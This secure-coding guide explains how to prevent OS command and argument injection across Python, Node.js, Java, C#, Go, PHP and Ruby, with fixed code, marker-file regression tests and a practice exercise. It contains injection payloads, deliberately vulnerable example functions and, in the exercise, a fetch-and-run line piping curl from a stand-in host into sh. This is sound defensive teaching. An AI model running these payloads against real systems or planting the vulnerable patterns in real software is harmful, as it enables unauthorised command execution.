In short

Never give a shell a string built from input. Start the program with an argument array: subprocess.run([...]), execFile, new ProcessBuilder(List.of(...)), ProcessStartInfo.ArgumentList, exec.Command, proc_open([...]) or system(cmd, *args). Let users pick values from an allowlist instead of writing arguments, reject values that start with -, and put -- (Git's --end-of-options) before them, because an argument array still lets a value act as an option. Run an absolute executable path with an explicit minimal environment, a timeout, an output cap and the least privilege you can. On Windows, never pass untrusted arguments to a .bat or .cmd file. Better still, call a library and start no program at all.

  • With no shell there is no shell injection: an argument array reaches the program as separate strings, so ;, |, $( ) and backticks stay ordinary characters.
  • An argument array does not stop argument injection (CWE-88): --output=<file> or --upload-pack=<command> is still an option to the program that receives it.
  • -- ends options for programs that follow the POSIX utility guidelines; Git commands that use -- to separate revisions from paths need --end-of-options (Git 2.24 and later).
  • Quoting helpers such as shlex.quote and escapeshellarg fix one argument for one shell; they are a fallback, not a design, and PHP's escapeshellcmd still lets an attacker add arguments.
  • Choose the executable and the environment yourself: an absolute path, a fixed PATH, and no inherited LD_PRELOAD, NODE_OPTIONS or secrets.
  • Windows has no argument array: every runtime rebuilds one command line, and cmd.exe parses batch-file arguments by its own rules, which led to the 2024 BatBadBut fixes in Rust, Node.js and PHP.

Verify it

  1. Search the code for shell=True, os.system, os.popen, child_process.exec, shell: true, Runtime.exec(, "sh", "-c", cmd /c, shell_exec, passthru, backticks and %x(, and confirm each remaining call takes only constants.
  2. Run your SAST tool's command-injection rules (for CodeQL, the queries named in this guide) and resolve or document every result.
  3. For each call site, add a test that sends x; touch <marker>, $(touch <marker>) and --output=<marker> (or the program's own dangerous option) and asserts the request is rejected and the marker does not exist; keep a vulnerable variant so the test can fail.
  4. In a test environment, log each child's argument vector and confirm user values appear as single elements after -- or --end-of-options.
  5. Inspect a child's environment (/proc/<pid>/environ on Linux, or a test program that prints it) and confirm only the variables you set are present.
  6. On Windows builds, confirm no .bat or .cmd file receives request data, and that the runtime is at or above the fixed releases in the table.
Applies to
  • Python subprocess in 3.13, 3.14 and 3.15
  • Node.js 22, 24 and 26 (child_process)
  • Java 21 and 25 (ProcessBuilder)
  • .NET 8 and 10 (ProcessStartInfo.ArgumentList)
  • Go 1.26 and 1.27 (os/exec)
  • Git 2.24 and later for --end-of-options

Application code that starts operating-system programs on Linux, macOS or Windows from Python, Node.js, Java, C#, Go, PHP or Ruby. Shell scripts, CI expressions and template engines have their own guides.

Part of
Learning path: Developer foundations (step 12 of 13). Workflows: Fix a finding, Test an application

Fix it in your stack

Tested fixes: the vulnerable code, the fix, a plausible fix that still fails, and the regression tests that tell them apart.

Learning goals and prerequisitesAbout 50 minutes: 20 to read, 10 to run one language example and 20 for the exercise

What you will learn

  • Replace shell calls with argument arrays in seven languages, and explain why that alone does not stop argument injection.
  • End option parsing correctly, including Git commands where -- means something else.
  • Control the executable, environment, time and output of child processes, and handle Windows batch files.
  • Write a regression test that proves an injection payload runs nothing.

Before you start

Backend developers who start other programs from application code, and reviewers who triage command-injection findings.

  • Read a shell command line and know what ;, | and $( ) do.
  • For the examples: Git, and the runtime of the language you pick; Docker for Go, PHP and Ruby.

Refresh first: Keep untrusted values out of executable syntax

Go to the guided practice

One value, two ways to start a program

Application hostClientApplication/bin/sh -cgitrev=HEAD; touch /tmp/x1"git log --onelineHEAD; touch /tmp/x"2git log, then touchruns too2[git, log, --end-of-options, rev, --]3fixed env,timeout, outputcap4Trust boundaryUntrusted input1Step, described below
  1. A value arrivesThe client sends a revision name to a page that shows Git history. It may contain shell syntax or look like an option.
  2. Vulnerable: a shell parses the stringThe application builds git log --oneline <rev> as text and hands it to /bin/sh -c. The shell splits it at ; and runs a second command.
  3. Fixed: the program gets an argument arrayThe application checks the value against a pattern, then starts /usr/bin/git directly with the value as one element after --end-of-options. No shell exists to parse it, and Git cannot read it as an option.
  4. Bounded and observedThe child runs with a fixed environment, a timeout and an output cap, and the test suite proves that injection payloads run nothing.
Shell injection needs a shell; argument injection needs only a program that parses options. The fixed path removes the first and closes the second.

The shell is what turns data into commands

OS command injection (CWE-78) happens when part of a command line comes from input and a command interpreter parses it. os.system, subprocess.run(..., shell=True), child_process.exec, PHP's shell_exec and Ruby's backticks all pass one string to /bin/sh -c (or cmd.exe /c on Windows). The shell then gives meaning to ;, &&, |, $( ), backticks, redirections, globs and quotes, so a value such as HEAD; touch /tmp/x becomes two commands. The command runs with the application's privileges and environment, which usually means its credentials too.

Escaping the value for the shell can work, but it is fragile: the rules differ between sh, bash and cmd.exe, a value used twice may need escaping twice, and one forgotten call site undoes the rest. The robust fix removes the parser. Every mainstream language can start a program directly with an argument array, which the operating system passes to the program as separate strings that nothing re-parses on Linux and macOS.

The first question in a review is whether you need a program at all. An image library, an archive library, a Git library or a database driver does the work in-process with typed parameters and no command line. The OWASP OS Command Injection Defense Cheat Sheet makes this its primary defense. When you do need a program, the rest of this guide applies to every call. The Python listing below shows the vulnerable form next to the fixed one.

Use the argument-array API in every language

Each runtime has a shell form and an argument-array form. Treat the left column as a finding unless the whole command is a constant, and move to the right column. The argument-array forms do not search for or start a shell, so metacharacters in a value reach the program as literal text. They still resolve the executable through PATH unless you give an absolute path, which the environment section covers.

Use the argument-array API in every language
LanguageShell form (avoid with input)Argument-array formNotes
Pythonos.system, os.popen, subprocess.run(str, shell=True)subprocess.run([prog, arg, ...]) (the default shell=False)shlex.quote escapes for POSIX shells only; it does not help on Windows.
Node.jsexec, execSync, any call with shell: trueexecFile, spawn, execFileSync with an args arrayWith shell: true, an args array is only joined with spaces, not escaped; DEP0190 deprecates it, at runtime since Node.js 24.
JavaRuntime.exec(String), new ProcessBuilder("sh", "-c", cmd)new ProcessBuilder(List.of(prog, arg, ...)), Runtime.exec(String[])Runtime.exec(String) splits on whitespace with StringTokenizer; it is deprecated since Java 18.
C# (.NET)ProcessStartInfo.Arguments built from input; /bin/sh -c; cmd.exe /cProcessStartInfo.ArgumentList with UseShellExecute = false (the default on .NET Core and later)ArgumentList escapes each element; never combine it with Arguments.
Goexec.Command("sh", "-c", cmd)exec.CommandContext(ctx, prog, args...)os/exec never invokes a shell or expands globs on its own.
PHPexec, system, passthru, shell_exec, backticks, proc_open(string)proc_open([prog, arg, ...], ...) (PHP 7.4 and later)escapeshellcmd still lets an attacker add arguments; escapeshellarg is the per-argument fallback.
RubyBackticks, %x(), system(string), Open3.capture2(string)system(prog, arg, ...), Open3.capture2(prog, arg, ...)A single string goes to the shell when it contains metacharacters; separate arguments never do.

Python: subprocess with a list, a pattern and --end-of-options

The fixed function below shows every control in this guide in one call: a value that must match a strict pattern, an absolute executable, --end-of-options and a trailing -- so Git reads the value only as a revision, an explicit environment, a timeout and no shell=True. The middle function is the trap: it uses a list, so ; is harmless, yet --output=<file> still makes Git write a file. The tests in the next section prove all three behaviors.

Fixedhistory.pyPython
import re
import shutil
import subprocess

# Resolve the program once, at startup, from a fixed search path.
GIT = shutil.which("git", path="/usr/bin:/bin")
if GIT is None:
    raise RuntimeError("git not found in /usr/bin or /bin")

# A branch, tag or commit: no leading dash, no whitespace or shell syntax.
REV = re.compile(r"[A-Za-z0-9][A-Za-z0-9._/-]{0,99}")
CHILD_ENV = {"PATH": "/usr/bin:/bin", "LANG": "C.UTF-8", "GIT_TERMINAL_PROMPT": "0"}

def history_argv_only(repo: str, rev: str) -> str:
    # No shell, but rev can still be read as an option such as --output=<file>.
    return subprocess.run(
        [GIT, "-C", repo, "log", "--oneline", rev], capture_output=True, text=True
    ).stdout


def history(repo: str, rev: str) -> str:
    if not REV.fullmatch(rev):
        raise ValueError("invalid revision")
    result = subprocess.run(
        # --end-of-options: everything after it is a revision, never an option (Git 2.24+).
        # The trailing -- stops Git reading rev as a path.
        [GIT, "-C", repo, "log", "--oneline", "-n", "50", "--end-of-options", rev, "--"],
        capture_output=True,
        text=True,
        env=CHILD_ENV,
        timeout=10,
        check=False,
    )
    if result.returncode != 0:
        raise LookupError("unknown revision")
    return result.stdout

Prove it with a test that watches for side effects

A command-injection test must check what happened, not what was returned: send payloads that would create a marker file, then assert that the file does not exist. Use one payload per class: command chaining (; touch), substitution ($(touch ...)) and an option-shaped value (--output=). Keep the vulnerable variant in the suite so you know the test can fail. Run it with python3 -m unittest -v test_history; all six tests pass on Python 3.14.8 with Git 2.54.0.

Testtest_history.pyPython
class HistoryTest(unittest.TestCase):
    def setUp(self):
        self.tmp, self.repo = make_repo()
        self.marker = os.path.join(self.tmp, "pwned")

    def test_vulnerable_runs_injected_command(self):
        history.history_vulnerable(self.repo, f"HEAD; touch {self.marker}")
        self.assertTrue(os.path.exists(self.marker))

    def test_argv_without_end_of_options_still_takes_an_option(self):
        history.history_argv_only(self.repo, f"--output={self.marker}")
        self.assertTrue(os.path.exists(self.marker))

    def test_fixed_rejects_shell_syntax(self):
        with self.assertRaises(ValueError):
            history.history(self.repo, f"HEAD; touch {self.marker}")
        self.assertFalse(os.path.exists(self.marker))

    def test_fixed_rejects_option_injection(self):
        with self.assertRaises(ValueError):
            history.history(self.repo, f"--output={self.marker}")
        self.assertFalse(os.path.exists(self.marker))

    def test_end_of_options_treats_dash_value_as_revision(self):
        # Even without the pattern check, --end-of-options makes Git refuse it as a revision.
        result = subprocess.run(
            [history.GIT, "-C", self.repo, "log", "--end-of-options", f"--output={self.marker}", "--"],
            capture_output=True, text=True,
        )
        self.assertNotEqual(result.returncode, 0)
        self.assertFalse(os.path.exists(self.marker))

    def test_fixed_returns_history(self):
        self.assertIn("first commit", history.history(self.repo, "HEAD"))


if __name__ == "__main__":
    unittest.main()

An argument array still lets a value become an option

Argument injection (CWE-88) needs no shell. Most programs treat any argument that starts with - as an option, and many options run commands, write files or read configuration. CodeQL's js/second-order-command-line-injection query describes the classic case: git ls-remote with a user-supplied URL that starts with --upload-pack runs an arbitrary command, even through execFile with an array. The ruby-git gem had the same flaw in fetch (CVE-2022-25648, fixed in 1.11.0), where the remote name could add flags to git fetch.

Three controls work together. First, reject values that start with - and, better, match the whole value against what it should be: a revision name, a numeric ID, an https:// URL. Second, end option parsing before the first user value: POSIX.1-2024 utility syntax guideline 10 says the first -- marks the end of options and later arguments are operands even if they begin with -. Third, know the program. Git uses -- to separate revisions from paths in commands such as log and diff, so there -- before a revision changes its meaning; Git 2.24 added --end-of-options for this, and it acts as plain -- in commands that have no such distinction. Programs that parse arguments by hand may ignore -- altogether, which is why the pattern check comes first.

Even after --, an operand keeps its meaning to the program. The OWASP cheat sheet points out that every argument after -- is still a URL to curl, so it still fetches whatever the value names; validate the destination as you would for any server-side request (/domains/appsec/secure-features/ssrf-egress-boundaries/). File operands have the same issue: pass a path the server generated, or prefix relative names with ./ so a name such as -rf cannot be read as options by a program that ignores --.

An argument array still lets a value become an option
ProgramOptions that turn a value into code or file writesSafe pattern
git--upload-pack=<cmd> (ls-remote, clone, fetch), --output=<file> (log, diff), -c core.sshCommand=<cmd>Validate the URL or revision, then --end-of-options before it
ssh-oProxyCommand=<cmd>, and a host value that starts with -Validate the host name, put -- before the destination
tar (GNU)--checkpoint-action=exec=<cmd>, --to-command=<cmd>Server-generated archive and directory paths after --
curl-o <file> writes anywhere, -K <file> reads options from a fileOne validated URL, --globoff, SSRF controls on the destination
find-exec <cmd> ;, -delete, -fprint <file>Fixed expressions; a user value only as a quoted name pattern argument

Node.js: execFile with an array and limits

exec and execSync always start a shell; the Node.js documentation says never to pass them unsanitized input. execFile and spawn start the program directly unless you set shell: true. When options.env is set, Node.js looks the program up through options.env.PATH, and with no PATH in that object Unix lookup falls back to /usr/bin:/bin; an absolute path avoids lookup altogether. timeout kills the child when it expires, and maxBuffer (1 MiB by default for execFile) bounds what it can return. Run the tests with node --test; all four pass on Node.js 26.11.1.

Fixedhistory.jsJavaScript
import {exec, execFile} from 'node:child_process';
import {promisify} from 'node:util';

const execAsync = promisify(exec);
const execFileAsync = promisify(execFile);

const GIT = '/usr/bin/git'; // absolute: no PATH lookup
const REV = /^[A-Za-z0-9][A-Za-z0-9._/-]{0,99}$/;
const CHILD_ENV = {PATH: '/usr/bin:/bin', LANG: 'C.UTF-8', GIT_TERMINAL_PROMPT: '0'};

// Vulnerable: exec() hands the whole string to /bin/sh.
export async function historyVulnerable(repo, rev) {
  const {stdout} = await execAsync(`git -C ${repo} log --oneline ${rev}`);
  return stdout;
}

export async function history(repo, rev) {
  if (!REV.test(rev)) throw new Error('invalid revision');
  // execFile() runs git directly with an argument array; no shell is involved.
  const {stdout} = await execFileAsync(
    GIT,
    ['-C', repo, 'log', '--oneline', '-n', '50', '--end-of-options', rev, '--'],
    {env: CHILD_ENV, timeout: 10_000, maxBuffer: 1024 * 1024},
  );
  return stdout;
}

Java: ProcessBuilder with a list and a cleared environment

Runtime.exec(String) does not start a shell; it splits the string on whitespace with StringTokenizer, so a value with a space becomes extra arguments, and it has been deprecated since Java 18. The usual mistake is worse: new ProcessBuilder("/bin/sh", "-c", cmd) brings the shell back. Build the command from a List, clear environment() and add only what the child needs, read a bounded amount of output and wait with a timeout. Compile and run HistoryTest with javac -d out History.java HistoryTest.java && java -cp out HistoryTest; all four checks pass on OpenJDK 21.0.12.

FixedHistory.javaJava
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Path;
import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeUnit;
import java.util.regex.Pattern;

final class History {
  private static final String GIT = "/usr/bin/git"; // absolute: no PATH lookup
  private static final Pattern REV = Pattern.compile("[A-Za-z0-9][A-Za-z0-9._/-]{0,99}");
  static String history(Path repo, String rev) throws IOException, InterruptedException {
    if (!REV.matcher(rev).matches()) throw new IllegalArgumentException("invalid revision");
    ProcessBuilder pb = new ProcessBuilder(List.of(
        GIT, "-C", repo.toString(), "log", "--oneline", "-n", "50", "--end-of-options", rev, "--"));
    Map<String, String> env = pb.environment();
    env.clear(); // start from nothing, then add only what git needs
    env.put("PATH", "/usr/bin:/bin");
    env.put("LANG", "C.UTF-8");
    env.put("GIT_TERMINAL_PROMPT", "0");
    pb.redirectError(ProcessBuilder.Redirect.DISCARD);
    Process p = pb.start();
    // Read a bounded amount of output: at most 1 MiB.
    byte[] out = p.getInputStream().readNBytes(1 << 20);
    if (!p.waitFor(10, TimeUnit.SECONDS)) {
      p.destroyForcibly();
      throw new IOException("git timed out");
    }
    if (p.exitValue() != 0) throw new IllegalArgumentException("unknown revision");
    return new String(out, StandardCharsets.UTF_8);
  }
}

C#: ProcessStartInfo.ArgumentList, never an Arguments string

ProcessStartInfo.Arguments is one string that the child parses, so a quote in a value can split it into extra arguments. ArgumentList takes each argument separately and escapes it; Microsoft's documentation says only one of the two may be used. UseShellExecute defaults to false on .NET Core and .NET 5 and later (it was true on .NET Framework), and in that mode the process starts directly from the executable. Clear Environment before adding variables, and kill the process tree on timeout. dotnet run runs the checks; all five pass on the .NET 10.0.112 SDK.

FixedHistory.csC#
using System.Diagnostics;
using System.Text.RegularExpressions;

static partial class History
{
    const string Git = "/usr/bin/git"; // absolute: no PATH lookup

    [GeneratedRegex("^[A-Za-z0-9][A-Za-z0-9._/-]{0,99}$")]
    private static partial Regex Rev();
    public static async Task<string> HistoryAsync(string repo, string rev)
    {
        if (!Rev().IsMatch(rev)) throw new ArgumentException("invalid revision", nameof(rev));
        var psi = new ProcessStartInfo(Git)
        {
            RedirectStandardOutput = true,
            RedirectStandardError = true,
            UseShellExecute = false,
        };
        // ArgumentList escapes each element; never build the Arguments string from input.
        foreach (var arg in new[] { "-C", repo, "log", "--oneline", "-n", "50", "--end-of-options", rev, "--" })
            psi.ArgumentList.Add(arg);
        psi.Environment.Clear();
        psi.Environment["PATH"] = "/usr/bin:/bin";
        psi.Environment["LANG"] = "C.UTF-8";
        psi.Environment["GIT_TERMINAL_PROMPT"] = "0";

        using var p = Process.Start(psi)!;
        using var cts = new CancellationTokenSource(TimeSpan.FromSeconds(10));
        var stdout = p.StandardOutput.ReadToEndAsync(cts.Token);
        var stderr = p.StandardError.ReadToEndAsync(cts.Token);
        try { await p.WaitForExitAsync(cts.Token); }
        catch (OperationCanceledException) { p.Kill(entireProcessTree: true); throw new TimeoutException("git timed out"); }
        await stderr;
        if (p.ExitCode != 0) throw new ArgumentException("unknown revision", nameof(rev));
        return await stdout;
    }
}

Go: exec.CommandContext with an explicit Env

Go's os/exec intentionally does not invoke the system shell or expand globs, so the only shell in a Go program is one you start with sh -c. Two details matter. A nil Cmd.Env gives the child the parent's whole environment, so set it. And since Go 1.19, exec.Command and LookPath no longer resolve a program through an implicit or explicit . entry in PATH; they return an error wrapping exec.ErrDot instead (GODEBUG=execerrdot=0 restores the old behavior, so don't set it). The Go version of the example, exec.CommandContext(ctx, "/usr/bin/git", "-C", repo, "log", "--oneline", "-n", "50", "--end-of-options", r, "--") with cmd.Env set, passed its tests in golang:1.27.2-trixie with --network=none.

Choose the executable, environment and working directory

An argument array decides how arguments are split, not which program runs or what it inherits. Resolve the executable once at startup from a fixed directory, or configure an absolute path; the Python documentation recommends a fully qualified path for maximum reliability and notes that lookup rules differ by platform. Never let a request choose the program, and never search the current directory: on Windows, CreateProcess looks in the application's directory and the parent's current directory before PATH when the name has no directory.

Pass the child an explicit environment. By default most APIs copy the parent's variables, which hands database passwords and cloud credentials to every tool you start, and lets anyone who can set a variable change what the child loads: LD_PRELOAD and LD_LIBRARY_PATH for the dynamic loader, NODE_OPTIONS for Node.js, PYTHONPATH for Python, BASH_ENV for non-interactive bash, and GIT_SSH_COMMAND or GIT_CONFIG_* for Git. Set PATH to fixed system directories, add the locale and only the variables the tool documents that it needs.

Set the working directory to a directory the application owns, give every call a timeout and an output limit, and kill the whole process tree when the timeout fires. Run tools that handle untrusted files as a separate low-privilege user or in a container with no network; the guide on untrusted documents (/domains/appsec/secure-features/untrusted-document-conversion/) shows the container flags.

Windows: batch files reparse their arguments (BatBadBut)

Windows has no argument array at the system level: CreateProcess takes one command-line string, and each program splits it itself. Runtimes therefore rebuild a string from your array, quoting it the way the Microsoft C runtime parses arguments, which PHP's documentation states for proc_open arrays. Batch files break that assumption. CreateProcess cannot run a .bat or .cmd file directly, so it is run by cmd.exe, which applies its own parsing rules to the arguments.

In April 2024 CERT/CC published VU#123335: several language runtimes did not escape arguments correctly when the target was a batch file, so an argument could run commands even when the application used the argument-array API with the shell off. CERT/CC credits the report to RyotaK; Node.js's July 2024 advisory calls the issue BatBadBut. The CVE records and vendor advisories establish the fixes in the table. CERT/CC lists Go as not affected and records Erlang's statement that open_port with spawn must not get untrusted input; Python documents that batch files may be parsed by the shell without escaping.

The safe rule is simpler than any escaping: never pass untrusted arguments to a batch file. Replace the batch file with an executable, or pass data through a file or standard input that the script reads as data. Rust's fix shows the right failure mode: Command now returns an InvalidInput error when it cannot escape an argument safely, instead of guessing. Also give the extension explicitly, because a program name without one may resolve to a .bat or .cmd file.

Windows: batch files reparse their arguments (BatBadBut)
RuntimeAdvisoryFixed inWhat changed
RustCVE-2024-245761.77.2Command escapes batch-file arguments more thoroughly and returns InvalidInput when it cannot escape one safely.
Node.jsCVE-2024-2798018.20.2, 20.12.2, 21.7.3 (10 April 2024)spawn and spawnSync throw EINVAL for a .bat or .cmd file unless shell: true is set.
Node.jsCVE-2024-36138 (incomplete fix)18.20.4, 20.15.1, 22.4.1 (8 July 2024)Covers batch files reached through every extension.
PHPCVE-2024-18748.1.28, 8.2.18, 8.3.5Escaping of proc_open array arguments on Windows.
PHPCVE-2024-5585 (incomplete fix)8.1.29, 8.2.20, 8.3.8The fix also applies when the command name has trailing spaces.
Haskell processCVE-2024-3566, HSEC-2024-0003process 1.6.19.0Listed as affected and fixed in VU#123335.

Map choices to fixed arguments with an allowlist

Most features that start a program need a few choices from the user, not a free-form argument. Model them as an enumeration and map each choice to arguments the code owns: a request asks for format=webp, and the code adds -quality 80 -format webp. A value outside the map is rejected before any process starts. ASVS 5.0 V2.2.1 asks for exactly this positive validation, against an allowlist of values or an expected structure.

For identifiers and names, use a strict pattern anchored at both ends, with a length limit and no leading dash, like the revision pattern above, or better, look the identifier up and use the server's own path or ID for it. The OWASP cheat sheet's example pattern, ^[a-z0-9]{3,10}$, shows the shape: no metacharacters, no spaces and a bounded length. A blocklist of characters such as ; and | is not a fix: it misses newlines, $( ), % on Windows and option injection entirely.

ASVS 5.0 also names a related case in V1.2.8: LaTeX processors must not run with --shell-escape, because \write18 would let a document run commands. The same thinking applies to any tool with a scripting or plug-in feature, such as ImageMagick delegates or Ghostscript: switch the feature off in its configuration as well as controlling its arguments.

Find the remaining call sites

Search for the shell forms in the table, then confirm each takes only constants. Static analysis follows data from requests into process APIs: CodeQL's queries are py/command-line-injection, js/command-line-injection with js/second-order-command-line-injection for argument injection, java/command-line-injection, cs/command-line-injection, go/command-injection and rb/command-line-injection. Triage each result as the workflow at /domains/appsec/testing/sast-dast-workflow/ describes, and turn each confirmed one into a regression test like the one above.

The tested fix cards at /fix/command-injection/ show the same fix in six stacks (Express, Flask, Spring Boot, ASP.NET Core, Next.js and Go), each with a vulnerable, a fixed and a plausible wrong version and the tests that tell them apart. Shell injection in CI is a different sink: a GitHub Actions expression such as ${{ github.event.issue.title }} inside a run: script is pasted into the shell before it runs; see /domains/supply-chain/ci-cd/github-actions-hardening/. When the input is code rather than a command, as in eval or a template compiled from a string, read /domains/appsec/secure-coding/code-template-injection/.

Pitfalls

  • Retrying with shell=True when the argument-array call fails: the fallback brings back the injection.
  • Building the array by splitting a string, such as cmd.split(" "): a value with a space becomes extra arguments, which is argument injection again.
  • Putting -- before a Git revision: Git reads what follows as paths. Use --end-of-options.
  • Validating a value and then passing a different, decoded or normalised copy of it to the process.
  • Calling sh -c with a constant script and the value as $1: safe only if the script quotes "$1" everywhere, and easy to break in an edit; prefer no shell.
  • Logging the full command line with secrets in it, or returning the tool's stderr to the client, which can leak paths and versions.
  • Assuming a container makes injection harmless: the process still has the application's credentials and network unless you removed them.

Guided practice

A code review turned up four places where a service starts other programs. For each, decide whether request data can run a command or add an option, name the weakness (CWE-78 or CWE-88) and write the fix.

Supplied scenario material
Plain text
S1 Python, Linux. folder comes from the request.
    subprocess.run(f"zip -r /tmp/export.zip {folder}", shell=True)

S2 Node.js, Linux. remote comes from a "mirror this repository" form.
    execFile('git', ['ls-remote', remote])

S3 Java, Linux. host comes from a "check connectivity" form.
    Runtime.getRuntime().exec("ping -c 1 " + host);

S4 Node.js 22.4.1, Windows. user is the display name of the signed-in user.
    spawn('C:\\tools\\report.bat', [user], { shell: true })
  1. 1. S1: the shell form

    Decide what folder=docs; curl https://example.test/x | sh does, and rewrite the call.

    Expected result and reasoning

    CWE-78: the shell runs the second command. Use subprocess.run(["/usr/bin/zip", "-r", "/tmp/export.zip", "--", folder_path]) with folder_path from the server's own map of folders.

  2. 2. S2: no shell, still exploitable

    Decide whether remote=--upload-pack=touch /tmp/x is a problem with execFile.

    Expected result and reasoning

    Yes, CWE-88: Git reads --upload-pack as an option and runs the command. Accept only https:// URLs with an allowed host, then call execFile(GIT, ["ls-remote", "--end-of-options", remote]).

  3. 3. S3: Runtime.exec with a string

    Explain what happens to host=example.test; id and to host=-i 0.2 example.test.

    Expected result and reasoning

    No shell runs, so ; does nothing, but StringTokenizer splits on whitespace, so the second value adds a -i option (CWE-88). Validate the host and use new ProcessBuilder(List.of("/usr/bin/ping", "-c", "1", "--", host)).

  4. 4. S4: a batch file on Windows

    Explain why a display name such as x" & calc & " is dangerous here, and what to change.

    Expected result and reasoning

    CWE-78: with shell: true, Node.js joins args with spaces without escaping (DEP0190) and cmd.exe parses the result, so & starts another command; since CVE-2024-27980 a .bat cannot be spawned without shell: true. Pass the data in a file the script reads, or replace the script with an executable.

Your deliverable: A table of S1 to S4 with the weakness, a one-line fix and the regression test payload for each.

Paper exercise. Run the payloads only against a local copy you own, with marker files rather than destructive commands; S4 needs a Windows host to reproduce.

Save a draft on this device to resume later. Automatic saving begins after you choose Save. Drafts are never sent by this application; use synthetic data.

No draft saved on this device yet.

Sources & further reading

The standards, specifications and documentation behind the guidance above. Each is the evidence for a claim on this page; consult it for detail beyond the defaults and versions listed here.

  1. OWASP OS Command Injection Defense Cheat Sheet
  2. OWASP WSTG: Testing for Command Injection (WSTG-INPV-12). Version 4.2.
  3. OWASP ASVS 5.0.0: V1 Encoding and Sanitization. Version 5.0.0.
  4. The Open Group Base Specifications: 12.2 Utility Syntax Guidelines. POSIX.1-2024 (IEEE Std 1003.1-2024).
  5. Python documentation: subprocess, Security Considerations. Python 3 documentation.
  6. Node.js documentation: Child process. Node.js v26.11.1.
  7. PHP manual: proc_open
  8. CERT/CC VU#123335: Multiple programming languages fail to escape arguments properly in Microsoft Windows. Revision 8, 13 May 2024.
  9. Rust blog: Security advisory for the standard library (CVE-2024-24576). 9 April 2024.
  10. Node.js: Wednesday, April 10, 2024 Security Releases (CVE-2024-27980). April 2024.
  11. Node.js: Monday, July 8, 2024 Security Releases (CVE-2024-36138). July 2024.

Reference information

Checked with Python 3.14.8, Node.js 26.11.1, OpenJDK 21.0.12, .NET SDK 10.0.112, Go 1.27.2, PHP 8.5.11, Ruby 4.0.7 and Git 2.54.0. Windows behavior is from vendor advisories; it was not run.

SDLC phase
Development
ASVS 5.0.0 requirements
v5.0.0-1.2.5 · v5.0.0-1.2.8 · v5.0.0-2.2.1
OWASP WSTG v4.2 tests
WSTG-INPV-12

Download this guide as Markdown